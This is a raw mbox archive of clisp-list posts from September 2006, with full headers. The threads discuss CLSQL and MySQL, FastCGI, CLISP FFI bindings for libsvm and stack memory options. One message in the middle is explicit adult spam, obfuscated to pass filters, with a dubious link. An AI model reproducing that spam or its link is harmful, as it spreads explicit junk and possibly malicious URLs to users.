User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en In-Reply-To: <20060919211640.45957.qmail@web54108.mail.yahoo.com> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] CGI with lisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Sep 2006 11:21:27 -0000 Audun Rÿfffff8mcke wrote: [snip] > > I'm also curious as to whether lisp-as-CGI > (alternatively lisp on its own) has any interfaces to > a DBMS like MySQL. [snip] > Thanks a lot, > Audun I've been using CLSQL when connecting to mysql. It's not a perfect solution; i had to rewrite the find-and-load-foreign-library function in clsql-uffi-loader.lisp as well as the db reconnect code, but it's an excellant way to start. CLSQL uses either CFFI or UFFI. UFFI is a little easier to use. CFFI had a few bugs a couple of months ago that kept it from easily working with mysql. I think they've fixed most of them since then, but it's still easier to use UFFI. CLSQL's speed is sufficient for what I do. Sometimes 2/3 of the time it takes to run a function is sucked up by the database, but i don't think it's the driver's fault. I've used CLSQL on Linux/Gentoo and Cgywin/WinXPsp2, but never with just plain WinXP so I can't speak for that platform. But i've used CLSQL with both clisp and sbcl, and since I don't mind rewriting small portions of the library it was all worthwhile. I think I even learned a thing or two by scrummaging around in the code. And since you'll be using CGI you wont have to patch the db reconnect code because you wont be reusing connections. This method of connecting to a db isn't practical with CGI apps, BTW, unless you save a lisp image with CLSQL and UFFI already loaded in the image, otherwise your CGI process would take too long to start. I haven't used CGI with lisp myself, though. I'm running a lisp process that constantly stays in memory. I'm running mysql 4.1. Can't say for sure whether CLSQL can work with the newer versions of mysql or not, but I did notice that there is a lot of version-specific source code, so i would guess it's likely. Lou Vanek From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 21 10:01:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQRva-0004tO-Hm for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 10:01:34 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQRvY-0000Oi-V7 for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 10:01:34 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 21 Sep 2006 18:32:39 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 21 Sep 2006 18:32:39 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 21 Sep 2006 18:32:36 +0200 Message-Id: in-reply-to: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] CGI with lisp? Thread-Index: AcbdcDZ5zWwBAvnYTM2HRfhxMuaJEQAKWgdQ From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 21 Sep 2006 16:32:39.0500 (UTC) FILETIME=[8DC7F8C0:01C6DD9B] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: hin@alma.com Subject: [clisp-list] using fastcgi, anybody? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Sep 2006 17:01:34 -0000 Hi, I've never used the module, but had a quick look at the module code that = is part of the CLISP distribution. The idea of having a long-running = lisp process talk to a web-server seems good. o Is anybody using fastcgi with Lisp? CLISP? It seems Apache, lighttpd and others provide interfaces to FastCGI. o Do some windows binary distributions of CLISP contain that module? o Is there interest in + fixing some bugs (e.g. fcgi_getenv implements prefix matching only, = slurp_stdin seems restricted in size), + enhancing (e.g. - how well are arbitrary encodings or - even binary data supported, - maybe use EXT:MAKE-BUFFERED-INPUT|OUTPUT-STREAM), + or optimizing the code (e.g. less string concatenations)? Regards, J=F6rg H=F6hle. From don-sourceforge-xx@isis.cs3-inc.com Thu Sep 21 13:13:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQUvJ-00062F-Gj for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 13:13:29 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQUvI-0002WS-8y for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 13:13:29 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 55CD81A818F; Thu, 21 Sep 2006 13:13:24 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17682.62052.313362.539632@isis.cs3-inc.com> Date: Thu, 21 Sep 2006 13:13:24 -0700 To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] fastcgi, mysql X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Sep 2006 20:13:29 -0000 > I've been using CLSQL when connecting to mysql. There's also the mysql command line interface that you can use at the cost of about .01 sec per call. I've used that a small demo. > o Is anybody using fastcgi with Lisp? CLISP? Again I've gotten a small demo to work (clisp, apache, linux). My impression is that apache kills the program after it hasn't been used for a while. I don't know how to control that. From lisp-clisp-list@m.gmane.org Thu Sep 21 13:42:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQVN0-0000Ar-Ll for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 13:42:06 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQVN0-0000A7-7f for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 13:42:06 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQVM3-0001Gq-OH for clisp-list@lists.sourceforge.net; Thu, 21 Sep 2006 22:41:07 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 22:41:07 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 21 Sep 2006 22:41:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 21 Sep 2006 16:40:22 -0400 Lines: 46 Message-ID: <4512F8B6.6050908@gnu.org> References: <45118B5D.3040301@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: <45118B5D.3040301@gnu.org> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Sep 2006 20:42:06 -0000 if I replace c-array-ptr with c-pointer and write (setf (slot (foreign-value ret) 'y) (list-to-vector y))) it appears to work - but this is somewhat ugly... Sam Steingold wrote: > so, what is wrong with this code: > > (def-c-type node (c-struct list (index int) (value double-float))) > (def-c-type problem (c-struct list > (l int) ; number of records > (y (c-array-ptr double-float)) ; of length l (targets) > (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) > > (defun alist-to-nodes (alist) > ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*] > (let* ((len (length alist)) > (ret (allocate-shallow 'node :count (1+ len)))) > (with-c-place (v ret) > (loop :for i :upfrom 0 :for (index . value) :in alist :do > (setf (slot (element v i) 'index) index > (slot (element v i) 'value) value)) > (setf (slot (element v len) 'index) -1)) > ret)) > > (defun list-to-vector (list) > ;; Lisp list --> C array > (let* ((len (length list)) (ret (allocate-shallow 'double-float > :count len))) > (with-c-place (v ret) > (loop :for i :upfrom 0 :for value :in list :do > (setf (element v i) value))) > ret)) > > (defun make-problem (&key l y x) > (let ((ret (allocate-shallow 'problem))) > (setf (slot (foreign-value ret) 'l) l > (slot (foreign-value ret) 'y) > (offset (foreign-value (list-to-vector y)) 0 > `(c-array double-float ,l)) ; FIXME!! > (slot (foreign-value ret) 'x) > (offset (foreign-value (alist-to-nodes x)) 0 > `(c-array (c-ptr node) ,l))) ; FIXME!! > ret)) > From lisp-clisp-list@m.gmane.org Fri Sep 22 04:16:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQj12-0007X1-M7 for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 04:16:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQj10-0008Vi-5M for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 04:16:20 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQj0e-0001gW-Kz for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 13:15:56 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 22 Sep 2006 13:15:56 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 22 Sep 2006 13:15:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Date: Fri, 22 Sep 2006 11:15:34 +0000 Lines: 10 Message-ID: References: <17682.62052.313362.539632@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en In-Reply-To: <17682.62052.313362.539632@isis.cs3-inc.com> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] fastcgi, mysql X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Sep 2006 11:16:21 -0000 Don Cohen wrote: > [snip] > There's also the mysql command line interface that you can use at > the cost of about .01 sec per call. I've used that a small demo. [snip] I tried spawning a command line process as suggested but on my system it takes 30X longer to connect than to reuse an existing db connection. But I guess this difference wouldn't be noticed on lightly used applications. From x.oppenheimzvuf@hsbcib.com Fri Sep 22 04:17:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQj2R-0007e8-O7 for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 04:17:47 -0700 Received: from [125.92.203.110] (helo=125.92.203.110) by mail.sourceforge.net with smtp (Exim 4.44) id 1GQj2P-0003gq-0L for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 04:17:47 -0700 Received: from symailserver.hsbc.co.uk by 125.92.203.110 (Postfix) with ESMTP id 000000036c73 for ; Fri, 22 Sep 2006 06:19:56 -0500 Received: from (root@localhost) by symailserver.hsbc.co.uk (8.12.3 da nor stuldap/8.12.3) with SMTP id 2Fvx3zonc0Hn for ; Fri, 22 Sep 2006 06:19:56 -0500 From: "Hester" Message-ID: <4477579351.097393601299@hsbcib.com> Date: Fri, 22 Sep 2006 06:19:56 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Cvollege scjhoolgirl in uniform out X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Hester Jacob List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Sep 2006 11:17:48 -0000 the THnESE TIvNY SLUzTS CAN'T STOP COMMIqNG ... .. ONrCE THzEY TAKyE ALL 14 INdCHES!! done timeonly: http://sgtTMbQNQ.2wqe22-page.com/ne2/?uJWUt1i twice cool the now used really always, today two model just, right for? bye Hester Jacob From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 22 05:50:15 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQkTv-0007Tt-HT for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 05:50:15 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQkTs-0007gr-TT for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 05:50:15 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 14:50:06 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 22 Sep 2006 14:50:05 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 22 Sep 2006 14:50:03 +0200 Message-Id: in-reply-to: <45102354.2050409@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm Thread-Index: AcbcDd457xUzNZc4QHS+cO4t0sYsfwCM8TsA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 22 Sep 2006 12:50:05.0917 (UTC) FILETIME=[A0D6A8D0:01C6DE45] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Sep 2006 12:50:15 -0000 Hi, >Sam Steingold wrote: >> I am trying to write an FFI module interface to libsvm >> http://www.csie.ntu.edu.tw/~cjlin/libsvm/ Often enough, I like to view at the original API documentation than at snippets of bogus code. I found http://public.procoders.net/cgi-bin/trac.cgi/browser/pcsvm/ but can't find the functions & structures that you want to interface to. > (def-c-type node (c-struct list (index int) (value double-float))) > (def-c-type problem (c-struct list > (l int) ; number of records > (y (c-array-ptr double-float)) ; of length l (targets) > (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) I think I'm beginning to grasp your problem. The FFI is designed to do *once* a conversion between a foreign structure and a Lisp structure. What you're trying to do is a piecemeal conversion, one for each shallow allocation. You want to mimic C :-( That's why you run into the problem with the NULL slot pointer from your allocate-shallow. What you can do is play nice with the FFI, and build a Lisp structure that can be converted at once, using deep allocation. Play with Lisp as long as possible! You can also work piecemealwise. For that you'll need CAST to C-POINTER. Then you can SETF the CAST'ed slot to the FOREIGN-VARIABLE pointer. (SETF (CAST (SLOT problem 'y|x) 'c-pointer) #.#) You can't SETF a slot to a C-ARRAY-PTR or some such to some foreign entity. Only Lisp objects (arrays) are acceptable arguments. >(defun alist-to-nodes (alist) > (loop :for i :upfrom 0 :for (index . value) :in alist :do > (setf (slot (element v i) 'index) index > (slot (element v i) 'value) value)) This still looks cumbersome. Why don't you create a Lisp vector of nodes and let the FFI convert that in one go? (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0)))) Now write beautiful Lisp code to create that set of arrays. In case you dislike the duplication of knowledge about ordering of the slots of the node struct that you need to reproduce with '(1 2.0d0), you can use (def-c-struct node #) instead, use the struct constructor that handles ordering for you: (make-node :index ... :value ...) and supply and array of those objects. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 22 09:12:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQndV-0003TT-IX for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 09:12:21 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQndQ-0003Xl-QP for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 09:12:21 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 22 Sep 2006 17:25:11 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 22 Sep 2006 17:25:10 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 22 Sep 2006 17:25:09 +0200 Message-Id: in-reply-to: <450FE92F.1030107@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] the meaning of "-m" option? Thread-Index: Acbb8dZgGvw1s2OZS/2kvSQBfNwYUgCaJC1g From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 22 Sep 2006 15:25:10.0807 (UTC) FILETIME=[4AFC3270:01C6DE5B] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] the meaning of "-m" option? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Sep 2006 16:12:21 -0000 Sam Steingold wrote: >it's useful to tell CLISP that it will be needing a lot of memory. >see also : > > If you really do need more Lisp stack, you can increase > it by telling CLISP to pre-allocate more memory Indeed, even on modern Linux systems, memory is partitioned and not likely changeable at run-time (witness the current 2/2 or 3/1GB Linux kernel space discussions). Here's an example from a special CLISP version of mine. ./lisp.run -M lispinit.mem STACK depth: 98206 ./lisp.run -M lispinit.mem -m2MB STACK depth: 65438 ./lisp.run -M lispinit.mem -m99MB STACK depth: 3243934 I forgot whether the output is in #objects, or #bytes. The less stack you have, the more likely a set of deeply recursive algorithms on non-trivial data will overflow the stack. For beginners, a small limit is good as bogus recursive functions will be detected earlier ;) Regards, Jorg Hohle. From biltclif@mac.com Sun Sep 24 15:39:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GRcdg-0006WO-9w for clisp-list@lists.sourceforge.net; Sun, 24 Sep 2006 15:39:56 -0700 Received: from smtpout.mac.com ([17.250.248.173]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GRcdf-00008o-3v for clisp-list@lists.sourceforge.net; Sun, 24 Sep 2006 15:39:56 -0700 Received: from mac.com (smtpin02-en2 [10.13.10.147]) by smtpout.mac.com (Xserve/8.12.11/smtpout03/MantshX 4.0) with ESMTP id k8OMep8j010546 for ; Sun, 24 Sep 2006 15:40:51 -0700 (PDT) Received: from [192.168.1.101] (ool-43535adf.dyn.optonline.net [67.83.90.223]) (authenticated bits=0) by mac.com (Xserve/smtpin02/MantshX 4.0) with ESMTP id k8OMdpCl023267 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 24 Sep 2006 15:39:54 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <7AD5A708-6818-4355-B3E7-712D1ABBB54F@mac.com> Content-Type: text/plain To: clisp-list@lists.sourceforge.net From: David Biltcliffe Date: Sun, 24 Sep 2006 18:39:50 -0400 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.6 MISSING_SUBJECT Missing Subject: header Subject: [clisp-list] (no subject) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Sep 2006 22:39:56 -0000 From lisp-clisp-list@m.gmane.org Mon Sep 25 07:10:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GRr9p-000378-UZ for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 07:10:06 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GRr9k-0005rd-H7 for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 07:10:02 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GRr9S-00031h-Oa for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 16:09:42 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 16:09:42 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 16:09:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Mon, 25 Sep 2006 10:09:22 -0400 Lines: 17 Message-ID: <4517E312.3010903@gnu.org> References: <45102354.2050409@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Sep 2006 14:10:06 -0000 Hoehle, Joerg-Cyril wrote: > Hi, > >> Sam Steingold wrote: >>> I am trying to write an FFI module interface to libsvm >>> http://www.csie.ntu.edu.tw/~cjlin/libsvm/ > Often enough, I like to view at the original API documentation than at > snippets of bogus code. I found > http://public.procoders.net/cgi-bin/trac.cgi/browser/pcsvm/ > but can't find the functions & structures that you want to interface to. please look at README svm.h svm.cpp in http://www.csie.ntu.edu.tw/~cjlin/libsvm.tar.gz From lisp-clisp-list@m.gmane.org Mon Sep 25 08:19:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GRsEt-0001fx-Sf for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 08:19:23 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GRsEs-0003Iw-00 for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 08:19:23 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GRsC9-0005D8-6L for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 17:16:33 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 17:16:33 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 17:16:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Mon, 25 Sep 2006 11:12:35 -0400 Lines: 25 Message-ID: <4517F1E3.7050407@gnu.org> References: <45102354.2050409@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Sep 2006 15:19:24 -0000 Hi, Hoehle, Joerg-Cyril wrote: > This still looks cumbersome. Why don't you create a Lisp vector of > nodes and let the FFI convert that in one go? > (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0)))) this appears to work fine. thanks. DIUC that (libsvm:train (ffi:foreign-value problem) (ffi:foreign-value f-parameter)) works by 1. converting `problem' from C to Lisp (in foreign-value) 2. converting the Lisp `problem' back to C on C stack (alloca) 3. calling the C function (svm_train) if this is actually the case, this is totally unacceptable because this means that huge objects are converted between C and Lisp for absolutely no reason. note that `problem' is likely to be megabytes in size! From lisp-clisp-list@m.gmane.org Mon Sep 25 12:45:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GRwOQ-0002aV-LY for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 12:45:30 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by 